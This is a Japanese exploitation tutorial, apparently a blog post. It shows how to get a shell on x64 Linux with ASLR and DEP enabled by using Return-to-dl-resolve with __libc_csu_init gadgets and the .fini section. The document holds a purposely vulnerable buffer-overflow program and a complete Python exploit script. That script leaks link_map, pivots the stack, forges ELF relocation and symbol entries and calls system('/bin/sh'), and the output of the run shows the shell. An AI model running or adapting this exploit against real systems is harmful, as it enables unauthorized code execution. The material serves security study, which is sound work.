x64でのReturn-to-dl-resolve + __libc_csu_init gadgetsにfiniセクションを使う

「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」では、ASLR+DEPが有効なx64環境でReturn-to-dl-resolve + __libc_csu_init gadgetsを使ってシェル起動を行った。 この際、事前に固定アドレスにret命令を指すアドレスを書き込んでおき、これを参照する形で__libc_csu_init gadgetを使うことでReturn-to-dl-resolveで呼び出す関数の引数をセットしたが、事前の書き込みを行う代わりにfiniセクションを利用することもできる。 ここでは、finiセクションを利用する方法により、Return-to-dl-resolve + __libc_csu_init gadgetsによるシェル起動をやってみる。 なお、FullRELROが有効な場合についてもDT_DEBUG readを行うことでシェル起動が可能である。

環境

Ubuntu 14.04.1 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ clang --version
Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4)

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.3) stable release version 2.19, by Roland McGrath et al.

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

clangにてASLR、DEP、RELRO有効、SSP無効でコンパイルし、実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ clang -fno-stack-protector bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

finiセクションに着目する

実行ファイルにおけるfiniセクションの内容について調べると次のようになる。

$ readelf -S a.out
There are 30 section headers, starting at offset 0x11c8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
(snip)
  [14] .fini             PROGBITS         0000000000400674  00000674
       0000000000000009  0000000000000000  AX       0     0     4
(snip)
  [29] .strtab           STRTAB           0000000000000000  00001f78
       0000000000000249  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
$ objdump -d -j.fini a.out

a.out:     file format elf64-x86-64


Disassembly of section .fini:

0000000000400674 <_fini>:
  400674:       48 83 ec 08             sub    rsp,0x8
  400678:       48 83 c4 08             add    rsp,0x8
  40067c:       c3                      ret

上の結果より、finiセクションは実行可能(FlagsにX)かつ0x400674にあり、ちょうどその位置から三つの命令が並んでいることがわかる。 そして、この三つの命令は実質ret命令一つとみなすことができる。 さらに、finiセクションのアドレスはSection TableあるいはDynamicセクションに値として必ず存在しているため、その値のあるアドレスを実質ret命令を指すポインタとして利用することが可能である。 つまり、__libc_csu_init gadgetを使ってReturn-to-dl-resolveで呼び出す関数の引数をセットする際に利用することができる。

finiセクションは古い方式でのデストラクタ機構を提供するために存在し、そのプロローグとエピローグはcrti.Sおよびcrtn.Sによってそれぞれ次のように定義されている。

 .section .fini,"ax",@progbits
    .p2align 2
    .globl _fini
    .type _fini, @function
_fini:
    subq $8, %rsp
 .section .fini,"ax",@progbits
    addq $8, %rsp
    ret

かつてのコンパイラはこれらの間にデスクトラクタ処理を挿入したが、現在のgcc、clangはデストラクタ機構にfini_arrayセクションを使った新しい方式を用いるため、どちらのコンパイラを使った場合もfiniセクションの内容は先に示したディスアセンブル結果になる。

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、finiセクションを利用したReturn-to-dl-resolve + __libc_csu_init gadgetsを行うエクスプロイトコードを書くと次のようになる。

$ cat exploit.py
# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x4002b8     # readelf -S a.out
addr_dynstr = 0x400330     # readelf -S a.out
addr_relaplt = 0x4003b8    # readelf -S a.out
addr_plt = 0x400440        # readelf -S a.out
addr_got = 0x601000        # readelf -S a.out
addr_bss = 0x601048        # readelf -S a.out
addr_got_read = 0x601020   # objdump -d -j.plt a.out
addr_got_write = 0x601018  # objdump -d -j.plt a.out

addr_csu_init1 = 0x400656  # objdump -d a.out
addr_csu_init2 = 0x400640  # objdump -d a.out
addr_csu_init3 = 0x40065d  # objdump -d a.out --start-address=$((0x40065d))
ptr_fini = 0x400e50        # readelf -S a.out; od -Ax -tx1z a.out | grep '74 06 40'

"""
0000000000400600 <__libc_csu_init>:
  ...
  400640:       4c 89 ea                mov    rdx,r13
  400643:       4c 89 f6                mov    rsi,r14
  400646:       44 89 ff                mov    edi,r15d
  400649:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40064d:       48 83 c3 01             add    rbx,0x1
  400651:       48 39 eb                cmp    rbx,rbp
  400654:       75 ea                   jne    400640 <__libc_csu_init+0x40>
  400656:       48 83 c4 08             add    rsp,0x8
  40065a:       5b                      pop    rbx
  40065b:       5d                      pop    rbp
  40065c:       41 5c                   pop    r12
  40065e:       41 5d                   pop    r13
  400660:       41 5e                   pop    r14
  400662:       41 5f                   pop    r15
  400664:       c3                      ret

000000000040065d <__libc_csu_init+0x5d>:
  40065d:       5c                      pop    rsp
  40065e:       41 5d                   pop    r13
  400660:       41 5e                   pop    r14
  400662:       41 5f                   pop    r15
  400664:       c3                      ret
"""

stacksize = 0x800
addr_stage = addr_bss + stacksize

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got+8, 1)
buf1 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage, 0)
buf1 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0)
buf1 += struct.pack('<QQ', addr_csu_init3, addr_stage-24)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_link_map = %x" % addr_link_map
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = addr_stage + 8*27
align_reloc = 0x18 - ((addr_reloc-addr_relaplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relaplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_dt_versym, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, ptr_fini, 0, 0, addr_cmd)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0)
buf += struct.pack('<Q', addr_plt)
buf += struct.pack('<Q', reloc_offset)
buf += 'AAAAAAAA'
buf += 'A' * align_reloc
buf += struct.pack('<QQQ', addr_got_read, r_info, 0)  # Elf64_Rela
buf += 'A' * align_dynsym
buf += struct.pack('<IIQQ', st_name, 0x12, 0, 0)      # Elf64_Sym
buf += 'system\x00'
buf += '/bin/sh <&2 >&2\x00'
buf += 'A' * (400-len(buf))

p.stdin.write(buf)
p.stdin.write(struct.pack('<Q', 0))
p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 また、stack pivotは__libc_csu_init gadgetsを使う方法にて行っている。

引数をセットし実行すると、次のようになる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00@\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x10`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00H\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\x06@\x00\x00\x00\x00\x000\x18`\x00\x00\x00\x00\x00'
[+] addr_link_map = 7f33ab61d1c8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

上の結果から、finiセクションを利用したReturn-to-dl-resolve + __libc_csu_init gadgetsにより、ASLR+DEPが有効なx64環境でシェルが起動できていることが確認できた。

関連リンク